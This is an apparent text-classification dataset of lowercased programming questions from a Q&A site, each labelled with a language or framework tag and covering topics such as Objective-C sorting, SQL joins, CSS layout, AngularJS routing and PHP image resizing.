nsarray sorting not sorting correctly  i have a class (piece) which has a nsmutablearray property called attachedblocks.    whenever piece is initialized  4 block objects are initialized and placed in attachedblocks.    at the same time  in my controller class  before i release piece  i add all blocks from piece.attachedblocks to a nsmutablearray in my controller called boardblocks. so boardblocks has every block on the board in its array (hence the name).    in a method in my constructor  i try sorting this boardblock array so all objects on the board are sorted from bottom right to top left locations  so a block at (0 0) would come after (0 1)  and (1 0) would come after (2 5).     here is the code for my sorting:   <pre><code>//in block.m:  - (nscomparisonresult)compareto:(block *)other {     if (self.location.y &lt; other.location.y &amp;&amp; self.location.x &lt; other.location.x)     {         return nsorderedascending;     }     else if (self.location.y == other.location.y &amp;&amp; self.location.x == other.location.x)     {         return nsorderedsame;     }     else     {         return nsordereddescending;     } }  //in my controller.m  - (void)sortthearray {     nsarray *sortedblocks = [boardblocks sortedarrayusingselector:@selector(compareto:)];      for (block *b in boardblocks)     {         nslog(@ %d  %d   b.location.x  b.location.y);     }      for (block *b in sortedblocks)     {         nslog(@ (%d  %d)   b.location.x  b.location.y);     } } </code></pre>   like i said before  each time a piece object is made  4 block objects are initialized one after the other.    when i do this after one piece was created and released  sorting works. however  when i try to utilize more than one piece  i get the following result:    boardblocks:    (8  17) (7  18) (8  18) (9  18) (6  17) (7  17) (5  18) (6  18)    the first piece consists of blocks at the first four coordinates. the second piece consists of blocks at the second four coordinates    the result after sorting:    (6  18) (5  18) (7  17) (6  17) (9  18) (8  18) (7  18) (8  17)    the result should be:    (9  18) (8  18) (7  18) (6  18) (5  18) (8  17) (7  17) (6  17)    now  you can see that it correctly sorts each piece one at a time (the top 4 coordinates are sorted correctly  and the last 4 are sorted correctly).. but together  they are not sorted correctly because (9  18) should come before every other coordinate on there.    does the sorting occur when objects are initialized into an array automagically  or when sortedarrayusingselector: is called     i can t wrap my head around why it sorts the first four  then the second four  but not the entire array alltogether.,objective-c
how to change the text color of a fadein div   i have the following working script that run on load.   <pre><code>$( div.fadeinwrapper ).fadein(3000); </code></pre>   when the fadein is completed  i want to use <strong>animate</strong> function to change the color of a span inside the div  from #000000 to #ff0000. how i do that,jquery
passing data between dialog and activity  i am new to android.i am developing a small basic app.i have four buttons in my app.what i need is when the user presses the button i want a dialog to be displayed full screen and particular set of <code>text views</code>.for example: i have the following buttons like: 1)heroes 2)movies.  on pressing heroes button a list of heroes should appear similarly for movies.the only way i know is creating a new activity for every button press.instead i want a single dialog to be displayed for all four buttons but the data displayed on the dialog should vary according to button.is this possible  i know this question is lengthy and could be asked in a better way.please give me any suggestions,android
sql join table on max and condition  i have 2 tables.    <strong>manufacturers</strong>   <ul> <li>idmanufacturer</li> </ul>   <strong>coupons</strong>   <ul> <li> idcoupon </li> <li> idmanufacturer </li> <li> discountpercent </li> <li> couponcode </li> <li> startrange </li> <li> endrange </li> </ul>   i need to get all  manufacturers along with the coupon with the greatest  discountpercent   if any are availabe for that manufacturer. each manufacturer should only have one coupon.    this is the sql i have  which works  besides in specific scenarios (see below):   <pre><code>    declare @maxdiscount table (       idmanufacturer int       discperc int )  insert into     @maxdiscount select     p.idmanufacturer       max(discperc)  from     cp_manufacturers p     left outer join coupons c on p.idmanufacturer = c.idmanufacturer group by     p.idmanufacturer   select     m.idmanufacturer       m.discperc       couponcode from     @maxdiscount m      left outer join coupons c on  c.idmanufacturer = m.idmanufacturer and c.discperc = m.discperc   </code></pre>   the problem is when there are two coupons for a manufacturer with the same discountpercent  then 2 coupons are returned for that manufacturer. in this case  i only want to pull up the coupon with the larger start/end range.    i m stuck on this part  any help would be appreciated.    thank you.,sql
"javascript create substring from indexof not working  i m trying to trim the values of an <code>href</code> before and after the domain name using javascript. for example  <code>http://www.google.com/about-us</code> should be trimmed to <code>www.google.com</code>.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var str =  http://www.google.com/about-us ;
 var str_before = str.replace( http://    );
 document.write(str_before); // returns ( www.google.com/about-us )
 
 // trim everything after the domain name
 
 var link = str_before.substring(0  str_before.indexof( / ));
 document.write(link); // returns  www.google.com/about-uswww.google.com </code></pre>
 </div>
 </div>
     i don t know why this is happening.  any help would be greatly appreciated!",javascript
do autorelease pools have their own memory slabs to achieve fast deallocation   people say that autorelease pools free up autoreleased objects quickly. but there are two kinds of autoreleased objects:   <ol> <li>those that are autoreleased after init e.g. [[[nsstring alloc] init] autorelease]</li> <li>those that are autoreleased during creation e.g. nsstring stringwithformat.</li> </ol>   it seems to me that if apple wanted to get the best performance  it would put the latter into a slab. however doing the same for the former is impossible  if an id is a memory pointer rather than an actual id.    at any rate  do autorelease pools have their own memory slabs to achieve fast deallocation of some objects,objective-c
javascript don t display the image placeholder if the image is not found  is there a way to not display the image placeholder if the image was not found  i ve got images loaded by automatic feed  and for some items images are there  but for some there are not. so  if the image is not there  i would like to display placeholder.    thank you     h,javascript
open a file and a .net application will recognize it  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/69761/how-to-associate-a-file-extension-to-the-current-executable-in-c-sharp >how to associate a file extension to the current executable in c#</a>    </blockquote>     i dont know how exactly to call this issue.    i am looking for a solution such as: my .net application will be automatically opened when a filetyle defined for that application is open.    for example: the filetype of that application has an extension xyz: hellothere.xyz    whenever  the user opens the file with an extension  xyz  then that .net application will be opened. how can i achieve this     thanks in advance.,.net
javascript image preloader  i ve code a little image pre-loader which looks like it should work but the callback is executed prior to the image being loaded.   <pre><code>function imagepreloader(src callback) {     var image = new image();     image.src = src;     image.onload = callback()  }  function mainimage(gallery) {     $( #main_image ).attr( src  gallery[itterations])     imagepreloader(gallery[0] function() {      $( #main_image ).css({opacity:1})     firstload = false;     itterations ++;     }) } </code></pre>,javascript
create link using font-awesome in a span- and i-tag in html  i am trying to create a link from some font-awesome icons within a span- and i-tag  however  this does not work. i am using the following code:   <pre><code>        &lt;a href= mailto: subject=test&amp;amp;body=test &gt;           &lt;span class= fa-stack fa-4x &gt;               &lt;i class= fa fa-circle fa-stack-2x text-primary &gt;&lt;/i&gt;               &lt;i class= fa fa-envelope fa-stack-1x fa-inverse &gt;&lt;/i&gt;           &lt;/span&gt;         &lt;/a&gt; </code></pre>,html
is appropriate to call virtual function in derived class destructor   i have a inheritance that the destructor of base class applies <a href= http://en.wikipedia.org/wiki/template_method_pattern  rel= nofollow >template method pattern</a>. the destructor has to do some works before calling the virtual clean function  and do some another works after calling.    we know that <a href= http://www.artima.com/cppsource/nevercall.html  rel= nofollow >never call virtual functions during construction or destruction</a>. so the following code definitely is not available.   <pre><code>class base { public:     virtual ~base()     {         // ... do something before do_clear()         do_clear();         // ... do something after do_clear()     }  private:     virtual void do_clear() = 0; };  class d1     : public base { public:     d1() : m_x(new int) {}     ~d1() {}  private:     virtual void do_clear()     {         delete m_x;     }     int *m_x; }; </code></pre>   but if i moved the destruction of process to the destructor of derived class  for example:   <pre><code>class base { public:     virtual ~base()     {     }  protected:     void clear()     {         // ... do something before do_clear()         do_clear();         // ... do something after do_clear()     }  private:     virtual void do_clear() = 0; };  class d1     : public base { public:     d1() : m_x(new int) {}     ~d1()     {         clear();     }  private:     virtual void do_clear()     {         delete m_x;     }     int *m_x; }; </code></pre>   if the client write that:   <pre><code>base *x = new d1; delete x; </code></pre>   it will call <code>~d1()</code>  then call <code>base::clear()</code>  eventually call the virtual function <code>d1::do_clear()</code> properly.    the <code>base::clear()</code> can been moved to public  and the client can make things safely by calling <code>base::clear()</code> before destruction. a precondition is the client must know and not forget to call  i think it isn t convenient and breaks encapsulation.    my question is:   <ol> <li>is the design dangerous/risk </li> <li>is existing other better design for this </li> </ol>,c++
connecting to mysql server on another pc in lan  i have mysql setup in a pc on my local network  how do i connect to it  i also have mysql installed in this computer (which i want to use to connect to the database).    i tried the following but it s not working   <pre><code>mysql -u user -h 192.168.1.28:3306 -p password error 2005 (hy000): unknown mysql server host  192.168.1.28:3306  (0) </code></pre>   edit: thanks for your help. anyway  i connect without 3306 and i have another problem. macbook is the name of my client computer.   <pre><code>mysql -u user -ppassword -h 192.168.1.28  error 1045 (28000): access denied for user  user @ macbook  (using password: yes) </code></pre>   thanks.,mysql
insert into table without duplicates  i have a table a from where i have to copy data to table b. now problem is in both table a and table b there is a column id which is primary key and can t be null.table a is having duplicates. can any one tell me how to insert data into table b from table a without duplicates,sql
android get device orientation  i would like to get actual orientation of my device. i dont want to get layout orentation like this:   <pre><code>display display = ((windowmanager) getsystemservice(window_service)).getdefaultdisplay(); return display.getorientation(); </code></pre>   i want to get physical device orientation. is there any way to get that in android,android
how do i make a svg icon and a select input box vertically align in a div   here is the code:    <a href= http://jsfiddle.net/jj9glxta/1/  rel= nofollow >http://jsfiddle.net/jj9glxta/1/</a>   <pre><code>#wrapper {   vertical-align:middle;   display:inline-table; } #wrapper select {   margin-left:5px; } </code></pre>   i d like to make the svg icon and select box vertically aligned.    btw the svg icon and the select input may be in other sizes  so i need some css to make it applicable to different designs.    thanks,css
spreadsheet gem  i am using spreadsheet gem and environment - rails 3.0.3 and ruby 1.9.2.    facing following issue -     when i have entered integer value in excel sheet  it will be treated as ruby float value.    (for e.g -  1 in the excel is display as 1.0).    will there is any fix for this issue     thanks in advance.,ruby-on-rails
css select last paragraph  with not following unordered list  i d like to select the last <code>&lt;p&gt;</code> but only if the next sibling is <em>not</em> an <code>&lt;ul&gt;</code>   <pre><code>&lt;!-- select this p element --&gt; &lt;div&gt;     &lt;p&gt;...&lt;/p&gt;     &lt;img&gt; &lt;/div&gt;  &lt;!-- do not this p element --&gt; &lt;div&gt;     &lt;p&gt;...&lt;/p&gt;     &lt;ul&gt;...&lt;/ul&gt; &lt;/div&gt; </code></pre>   this is not working:   <pre><code>&lt;style&gt;     div p:last-of-type  div p:not(+ul) {     ... } &lt;/style&gt; </code></pre>,css
failed building wheel for  i m trying to install pillow using   <pre><code>pip install pillow </code></pre>   but everytime it does that:   <hr>   failed building wheel for pillow                 running setup.py clean for pillow failed to build pillow    command  /data/data/com.termux/files/usr/bin/python -u -c  import setuptools  tokenize;<strong>file</strong>= /data/data/com.termux/files/usr/tmp/pip-build-rzy91xcz/pillow/setup.py ;f=getattr(tokenize   open   open)(<strong>file</strong>);code=f.read().replace( \r\n    \n );f.close();exec(compile(code  <strong>file</strong>   exec ))  install --record /data/data/com.termux/files/usr/tmp/pip-d_if45hl-record/install-record.txt --single-version-externally-managed --compile  failed with error code 1 in /data/data/com.termux/files/usr/tmp/pip-build-rzy91xcz/pillow/    it also says that:    unable to execute  aarch64-linux-android-clang : no such file or directory                        error: command  aarch64-linux-android-clang  failed with exit status 1,python
clearing compiled java classes from the command prompt  in java  working from the command prompt  is there a way to clear compiled classes from memory     i m in a class that uses shared computers.  since we all have the same homework we often end up with the same class names.  i d like a way to clear any previously compiled classes that other students have done  so i can start fresh.    example:  i have a class bank that uses object of class person.  if i sit down at the computer and someone else has already compiled a class person how can i clear theirs and start fresh,java
console readkey async or callback   i am trying to do a press q to quit thing in the console window. i dont like my current implementation. is there a way i can async or use a callback to get keys from the console,.net
i can set images to right side using align right  but not with floats  <pre><code>#sponsors {    float: right;    display: inline;    width: 728px;    height: 100px;    margin: 60px 11px 0; }  &lt;div id= sponsors &gt;    &lt;a href= # &gt;&lt;img src= images/sponsors/1.png &gt;&lt;/a&gt;    &lt;a href= # &gt;&lt;img src= images/sponsors/2.png &gt;&lt;/a&gt; &lt;/div&gt; </code></pre>   i can t move images to the right side of div with this  but <strong>div align= right </strong> works.     how can i set images to right side using css3,css
in ios  where to add the search display controller in view controller  i created a tableview and displayed all the table related items there. then i declared search display controller and search bar.  i added the search bar in search display view controller. but i dont know where to add this search display view controller  whether in the tableview or in the self.view   can you guide me in this,ios
making a field appear on top of css styling  hello ive managed to create a star with css but it is hiding the field that i wat to show on front of the star. i was wondering if anyone coud point me i the right direction to what i should do to fix it. thanks   <pre><code>&lt;div class= views-field views-field-field-freebetamount &gt; &lt;div class= field-content &gt; &lt;div id= star12 &gt;£200&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   css   <pre><code>.views-field-field-freebetamount { color:white; }  #star12 {  background: blue;  width: 40px;  height: 40px;  position: relative;  }  #star12:before  #star12:after {  content:   ;  position: absolute;  top: 0;  left: 0;  height: 40px;  width: 40px;  background: blue; }  #star12:before {  -webkit-transform: rotate(30deg);  -moz-transform: rotate(30deg);  -ms-transform: rotate(30deg);  -o-transform: rotate(30deg); }  #star12:after {  -webkit-transform: rotate(60deg);  -moz-transform: rotate(60deg);  -ms-transform: rotate(60deg);  -o-transform: rotate(60deg); } </code></pre>   the freebetamount field should hopefully appear on top of the star. my limited css skills has lead me to try z-indexs but to no avail.    anyone     thanks,css
app in front of slider when someone call  i need to implement app for htc. app needs to do next  when someone call to appear  in front of htc slider with two buttons green and red phone ( accept and reject ). it is annoying when remove slider up to reject call  that is purpose of this app. can someone tell me how to put this in fron of slider   any idea how to implement this in general,android
how to handle  call to a member function on a non object   how do you ensure that you don t get a  call to a member function on a non object  fatal      fox example  i often have something like this in my templates: (which i find very convenient and readable):   <pre><code>&lt; php echo $object-&gt;getrelatedobject()-&gt;getproperty()-&gt;formatproperty()  &gt; </code></pre>   however  this will work only if each method returns an object of correct class. but it is not always the case. related object may not be present in the database  so it returns null and you are faced with a fatal error. then you go and manually check the return values:   <pre><code>&lt; php if (is_object($object-&gt;getrelatedobject()) &amp;&amp; is_object($object-&gt;getrelatedobject()-&gt;getproperty())):   &lt; php echo $object-&gt;getrelatedobject()-&gt;getpreperty()-&gt;formatproperty()  &gt; &lt; php endif;  &gt; </code></pre>   but this isn t so readable anymore. how do you address this problem,php
angularjs partial not loading  writing a very simple angular js app to learn routes and partials. the problem is that my  would just not load the partial template at all.    index.html   <pre><code>&lt;!doctype html&gt; &lt;html ng-app= website &gt; &lt;head&gt;     &lt;title&gt;hello world  angularjs&lt;/title&gt;     &lt;script type= text/javascript  src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.7/angular.min.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.7/angular-route.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= ../js/website.js &gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt;     &lt;ul&gt;         &lt;li&gt;&lt;a href= / &gt;home&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= /login &gt;login&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= /about &gt;about&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt;      &lt;ng-view&gt;&lt;/ng-view&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   website.js   <pre><code>angular.module( website   [ ngroute ]). config(function ($routeprovider  $locationprovider) {     $routeprovider.         when( /about   {templateurl:  partials/about.html }).         when( /login   {templateurl:  partials/login.html }).         otherwise({redirectto: / });     $locationprovider.html5mode(true) }); </code></pre>   when i load index.html  it shows the links. when i click on one of the them  or go manually to #/about  it should load the contents of the template inside ng-view  but it doesn t.    the about.html and login.html are just two files with a single   tag in them with hello world text. what am i missing  i was earlier not including angular-route.js  but fixing that didn t work.    my directory structure goes like this:   <pre><code>views   --js     --website.js   --views     --index.html     --partials       --about.html       --login.html </code></pre>   the network says that it did get about  but brings me back to index.html without anything in ng-view,angularjs
imagecreatefromjpeg not giving me a resource   i am trying to code a script for file resizing.in the script  i use getimagesize() to get the mime information from the image and then test it s value using a switch statement  assigning different values to variables in different cases.    however after running the script  i m getting the error   <pre><code>php warning:  imagecopyresampled() expects parameter 2 to be resource  string given in .......... </code></pre>   why exactly am i getting this error when all i m doing is passing it the variable from createimagefromjpeg     my code extract:   <pre><code>list($width $height $type)=getimagesize($_files[ businesscreatefileupload ][ tmp_name ]);         //checks the mime type and gets the extension         //declares the $uploadedfile $src and $ext variables.         $uploadedfile=  ;         $src=  ;         $ext=  ;         switch($type)         {             case image/jpeg :                 $uploadedfile=$_files[ businesscreatefileupload ][ tmp_name ];                 $src=imagecreatefromjpeg($uploadedfile);                 $ext= .jpg ;                 break;             case image/png :                 $uploadedfile=$_files[ businesscreatefileupload ][ tmp_name ];                 $src=imagecreatefrompng($uploadedfile);                 $ext= .png ;                 break;             default:                 echo an error has occurred.please follow the &lt;a href= http://localhost/kenced/business/edititem.php &gt;link to try again&lt;/a&gt; ;         }         //creates thumbnail         $newwidth=100;         $newheight=100;         $thumbimg=imagecreatetruecolor($newwidth  $newheight);         imagecopyresampled($thumbimg $src 0 0 0 0 $newwidth $newheight $width $height);         //creates displayimage         $newwidth1=250;         $newheight1=250;         $displayimg=imagecreatetruecolor($newwidth1  $newheight1);         imagecopyresampled($displayimg $src 0 0 0 0 $newwidth1 $newheight1 $width $height); </code></pre>   i m editing bits and pieces of a script i found on the internet as i m still rather new to programming so i might have inadvertently screwed something up  though i can t seem to figure out where exactly did i go wrong.,php
detect if phone screen is on/off in ios  i have requirement in my application to detect if phone screen is on/off when the application is in the background  i found that this can be possible using private framework spring board.  can we do so with public apis     thank.,ios
how __name__ change in python decorator  recently i m learning python decorator and the use of <code>functools.wraps</code>.   <pre><code>def a():     def b():         def c():             print( hello )         return c     return b   print a.__name__ #output:a </code></pre>   i understand why the output is a.but i don t know how <code>__name__</code> change in the following code.   <pre><code>def log(text):     def decorator(func):         def wrapper(*args  **kw):             print( %s %s():  % (text  func.__name__))             return func(*args  **kw)         return wrapper     return decorator  @log( ... ) def simple():     print( *  * 20)  print simple.__name__ #output:wrapper </code></pre>   why the output is  wrapper  rather than  decorator  or  log,python
deep watch attribute passed to a directive  i have a directive to which i am passing an object that is dynamically built :   <pre><code>&lt;my-directive passed-value= ctrl.buildvalue() &gt;&lt;/my-directive&gt;  angular .module( mymodule ) .directive( mydirective   function () {     return {         restrict:  e           scope: {             passedvalue:  =          }          controlleras:  ctrl           bindtocontroller: true          templateurl:  templates/my-directive.html           controller: function () {             var that = this;         }     }; }]); </code></pre>   suppose the object is always a new object but the object properties never change  for example :   <pre><code>mycontroller.buildvalue = function() {     return {somevalue:  abcd } }; </code></pre>   <strong>then angular enters into an infinite loop  because (i think) the object returned is always a new object.</strong>    <strong>so how can i ask angular to consider the object as not having changed if its properties are the same  even if the object is new  </strong>    it should be possible  because i know that when i deep watch an object (using <code>$watch(...  true)</code>)  angular considers that the object is the same if its properties are the same  even if the object is always a new one.,angularjs
angularjs large application file structure organization  i have a large angularjs application.  i m curious what the  angular way  is to organize such a complex application.  worth noting i m also using requirejs.    the page structure looks like:   <ul> <li>administration <ul> <li>users</li> <li>system</li> </ul></li> <li>tickets</li> <li>search</li> <li>dashboard</li> </ul>   currently i have it organized something like:   <pre><code>/. app.js main.js /views     administration.html     /administration         /users         ...     ticket.html     /ticket          /text          /list     search.html     /search          basic.html          stats.html     dashboard.html     /dashboard          cards.html /controllers      search.js      tickets.js      administration.js      /administration            users.js            system.js      ...  /servies        search.js        ticket.js        admin.js  /directives        chart.js        input.js        select.js  /lib       /angular       /d3       ... </code></pre>   any thoughts,angularjs
trying to find max and min values and expected unqualified id error happened  i am very new to c++  and i am doing this simple homework where i need to find max and min values  it keeps giving me expected unqualified id error. here is the code  thanks a lot.    <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;cmath&gt; using namespace std; int min(int a  int b  int c  int d) {     int result = a;     if (b &lt; result) result = b;     if (c &lt; result) result = c;     if (d &lt; result) result = d;     return result; }  int main() {     int x;     x = min(2 6 3 4);     cout &lt;&lt;   the result is   &lt;&lt; x; }  int max( int a  int b  int c  int d); #expected unqualified id {     int max = a;     if (b &gt; result) result = b;     if (c &gt; result) result = c;     if (d &gt; result) result = d;     return max; }  int main1() {     int x;     x = min(2 6 3 4);     cout &lt;&lt;   the result is   &lt;&lt; x; } </code></pre>,c++
what is memcpy trying to achieve in c code  i am a complete novice in c  but i have been assigned for the work to understand the c code. can anyone help understand the following code    <pre><code>memcpy (out  &amp;field_id  sizeof(field_id)); </code></pre>   here are the datatypes of field_id and out:   <pre><code>char* out = *out_ptr; short field_id = column-&gt;column_index; </code></pre>   as far as i can understand the command is copying <code>sizeof(field_id)</code> number of characters from <code>&amp;field</code> into out pointer. but this does not make any sense to me. also  as far as i know c is not an oop language  how come we are using something like <code>column-&gt;column_index</code> which seems like we are trying to access <code>column_index</code> property of some object named <code>column</code>.    i have advanced programming experience in java  python  c# so i can understand even if you don t go in much details  only hints or links to helpful articles will also do.,c
how to navigate two page back using popviewcontroller   i m iphone developer. i got a problem that my first page is login page than home page. i navigate two pages from home page and now i want to navigate back to home but i can t come. if i m using poptorootviewcontrolleranimated then its come to login page but i  need to come to home page. please some one help me.,iphone
off the shelf data entry forms for asp.net   i ve got an asp.net application where each client will have their own data entry forms. i m a bit tired of reinventing this wheel. does anyone have any good experience with an  off the shelf  component for rapidly building such forms   the component will need to fit within an existing asp.net site and support layout of the fields  not just  dumping  the fields on the page. the data needs to go back to a database for querying (but can use it s own schema) and some light level of workflow needs to be supported (mostly around completion status). infopath is a non-starter due to its requirements for sharepoint etc  but if you re thinking along those lines  you have some idea of what i m looking for. the system must be open for modification as i m sure we won t be able to find something that does everything we need.    doesn t matter if it is oss or commericial.    thanks!,asp.net
how to use the if statement with radiobuttons  i would like to start a new activity according to the radiobutton that the user choose.this is my non working code(i m using a toast message for now instead of a new activity)   <pre><code>public class cafechoice  extends activity {         /** called when the activity is first created. */ public radiobutton rb1; public radiobutton rb2;     @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         requestwindowfeature(window.feature_no_title);          setcontentview(r.layout.cafechoice);          final radiobutton rb1 = (radiobutton) findviewbyid(r.id.radio_red);         final radiobutton rb2 = (radiobutton) findviewbyid(r.id.radio_blue);         rb1.setonclicklistener(radio_listener);         rb2.setonclicklistener(radio_listener);  }     onclicklistener radio_listener = new onclicklistener() {         public void onclick(view v) {             // perform action on clicks              if(v == radio_listener)             {              if(rb1.ischecked() == true){toast.maketext(cafechoice.this  1  toast.length_short).show();}             if(rb2.ischecked() == true){toast.maketext(cafechoice.this  1  toast.length_short).show();}             }     }     };  } </code></pre>   @rekaszeru this is my logcatview   <pre><code>05-02 17:16:28.206: warn/dalvikvm(678): threadid=3: thread exiting with uncaught exception (group=0x4001b188) 05-02 17:16:28.216: error/androidruntime(678): uncaught handler: thread main exiting due to uncaught exception 05-02 17:16:28.248: error/androidruntime(678): java.lang.runtimeexception: unable to start activity componentinfo{kostas.menu.chania/kostas.menu.chania.cafechoice}: java.lang.nullpointerexception 05-02 17:16:28.248: error/androidruntime(678):     at android.app.activitythread.performlaunchactivity(activitythread.java:2481) 05-02 17:16:28.248: error/androidruntime(678):     at android.app.activitythread.handlelaunchactivity(activitythread.java:2497) 05-02 17:16:28.248: error/androidruntime(678):     at android.app.activitythread.access$2200(activitythread.java:119) 05-02 17:16:28.248: error/androidruntime(678):     at android.app.activitythread$h.handlemessage(activitythread.java:1848) 05-02 17:16:28.248: error/androidruntime(678):     at android.os.handler.dispatchmessage(handler.java:99) 05-02 17:16:28.248: error/androidruntime(678):     at android.os.looper.loop(looper.java:123) 05-02 17:16:28.248: error/androidruntime(678):     at android.app.activitythread.main(activitythread.java:4338) 05-02 17:16:28.248: error/androidruntime(678):     at java.lang.reflect.method.invokenative(native method) 05-02 17:16:28.248: error/androidruntime(678):     at java.lang.reflect.method.invoke(method.java:521) 05-02 17:16:28.248: error/androidruntime(678):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:860) 05-02 17:16:28.248: error/androidruntime(678):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:618) 05-02 17:16:28.248: error/androidruntime(678):     at dalvik.system.nativestart.main(native method) 05-02 17:16:28.248: error/androidruntime(678): caused by: java.lang.nullpointerexception 05-02 17:16:28.248: error/androidruntime(678):     at kostas.menu.chania.cafechoice.oncreate(cafechoice.java:24) 05-02 17:16:28.248: error/androidruntime(678):     at android.app.instrumentation.callactivityoncreate(instrumentation.java:1047) 05-02 17:16:28.248: error/androidruntime(678):     at android.app.activitythread.performlaunchactivity(activitythread.java:2444) 05-02 17:16:28.248: error/androidruntime(678):     ... 11 more </code></pre>,android
how to refresh an object at a certain time each day in a rails app   this might be a bit of a basic question  but i searched and wasn t able to find an answer.     in my rails app  i show a random joke on the page whenever the page loads. what i d actually like to implement is a  joke of the day   where the same joke displays all day and then refreshes each day at midnight. can anyone point me in the right direction     here s the code i m currently using to display a random joke:   <pre><code> class jokescontroller &lt; applicationcontroller     def index         @joke = joke.limit(5).order( random() ).last     end  end </code></pre>   and my view:   <pre><code>&lt;div class= col-sm-10 saying &gt;       &lt;%= @joke.saying.html_safe %&gt;  &lt;/div&gt; </code></pre>   thanks in advance!,ruby-on-rails
angularjs directive that resizes only width of the canvas  how can we write a directive that changes only the width of a canvas,angularjs
the most negative number which is greater than -dbl_max  i represent a  physically impossible  value with the most negative possible to represent on the computer.   <pre><code>#include &lt;float.h&gt; double physically_impossible = -dbl_max; </code></pre>   the test for this works nicely   <pre><code>if( physically_impossible == -dbl_max )     cout &lt;&lt;   ok  detected impossible value ; else     cout &lt;&lt;   failed to detect impossible value ; cout &lt;&lt; endl; </code></pre>   giving   <pre><code> ok  detected impossible value </code></pre>   but when i try to test for a very small but  physically possible  number something goes horribly wrong.   <pre><code>double physically_impossible_plus_one = 1 - dbl_max; cout &lt;&lt;  physically_impossible   &lt;&lt; physically_impossible &lt;&lt;   physically_impossible_plus_one   &lt;&lt; physically_impossible_plus_one; if( physically_impossible &lt; physically_impossible_plus_one )     cout &lt;&lt;   ok  detected impossible value plus one ; else     cout &lt;&lt;   failed to detect impossible value plus one ; cout &lt;&lt; endl; </code></pre>   gives   <pre><code>physically_impossible -1.79769e+308 physically_impossible_plus_one -1.79769e+308 failed to detect impossible value plus one </code></pre>   as karoly horvath pointed out  this fails because of the limited precision. what i need is the most negative number which is greater than -dbl_max    ( motivation:  i want to divide numbers ( not nan which raises exceptions and triggers asserts ) into physically possible and physically impossible with the minimum reduction in the usable range of physically possible numbers. ),c++
select most recent entries and join with another table  my sql s rusty. i need to select the 30 most recent messages (those with the 30 largest id s)  and then use the <code>sender_id</code> to join with the users table <code>id</code>.  in english  i want the users who sent the last 30 messages.    here my query (which doesn t run):   <pre><code>select * from group_messages where group_id=52 order by id desc limit 30 left join users on users.id=group_messages.sender_id  </code></pre>   if there s a better approach to this kind of query  then by all means.    note: the first part works in selecting the 30 most recent messages. the trouble came when i tried joining on the users table. (and i just realized even if this query did run  i would need to add <code>group by users.id</code> a user may have sent more than 1 of the 30 most recent messages.,mysql
why exactly is ui not updating in time without background worker   i wrote a single threaded program (winforms meh) and am expecting it to behave like this:   <ol> <li>mainform starts progress display form</li> <li>progress form is rendered fully</li> <li>progress form receieves event operationstarted which adds a picture of spinning circle to the form</li> <li>long lasting operation starts</li> <li>progress form receives event operationcompleted or operationfailed and sets appropriate image</li> </ol>   what happens is messy.   <ol> <li>mainform starts progress display form</li> <li>progress form is not rendered fully!</li> <li>program hangs for a while</li> <li>when long lasting operation is complete ui updates</li> </ol>   why the lag with updating windows form     this is reduced code if necessary   <pre><code>    private bool run(int commandindex  string fullcommand)     {         if (operationstarted != null)             operationstarted(commandindex);          // start long lasting external process          if (exitcode != 0)         {             if (operationfailed != null)                 operationfailed(commandindex  error);              return false;         }          if (operationcompleted != null)             operationcompleted(commandindex);          return true;     } </code></pre>   operationstarted  operationfailed &amp; operationcompleted are set correctly to update the appropriate images.,c#
what html language code should i use for sranantongo   i need to add support to my application for a new language.    my application shows html webpages in an internal <code>chtmlview</code> browser control.    i have looked through the language codes <a href= https://www.w3schools.com/tags/ref_language_codes.asp  rel= nofollow noreferrer >here</a> for:   <ul> <li>sranantongo</li> </ul>   but it is not listed. what language code should i use,html
is application object created and destroyed on every request   in php there are many frameworks and all of them have the concept of front controller or entry script or application. basically all of them mean that on a http request by a browser   an application instance is created ( like in zend framework   instance of zend_application and yii::createwebapplication in yii) and each application instance further initializes different components ( nested property objects ) like controller object   db object   view object (mostly child property object of controller object)   request and response objects etc.    i hope it is clear till now . it must be the same in every mvc framework :) no matter what language    what i was curious to know about that is this application instance created ( along-with its nested child objects ) every time a user clicks on a browser button or link and makes a http request or ajax request      i think in java application instance is persistent throughout requests   maybe i am wrong :)    is it persistent in php   what are the limitations if not      thanks for your attention,php
loading image in viewcontroller from imagepicker -iphone  hi i tried a few solutions from this site but it isn t working for me. i am using the imagepicker to take a photo  then when the save button is enabled i want my <code>viewcontroller</code> tag to load with that photo on it.    <pre><code>imagepicker.h  uiimageview * imagev;  imagepicker.m -(ibaction)save:(id) sender { tag *tag= [[tag alloc] initwithnibname...] [self presentmodalviewcontroller:tag animated:yes];  tag.imageview=_imagev;   }  tag.h   @property(nonatomic  strong) uiimage *image;   tag.m   viewdidload { self.imageview.image=self.image; } </code></pre>,objective-c
position fixed is not working on ipad  i am trying to fix the background of my website and i have place a div  bgdiv  on my website having position fixed. it is working good on desktop. but on ipad position fixed is not working it scrolls with my whole website. and background image is repeating. is there any way to avoid scrolling the bgdiv.   <pre><code> .bgdiv{     background: url( test.jpg ) repeat scroll 0 0 transparent;     background-size: 100% 100%;     bottom: 0;     left: 0;     position: fixed;     right: 0;     top: 0;     z-index: -2;     height: inherit;     }  &lt;body&gt;   &lt;div class= bgdiv &gt;&lt;/div&gt;      &lt;div class= wrapper &gt;           content       &lt;/div&gt; &lt;/body&gt; </code></pre>,css
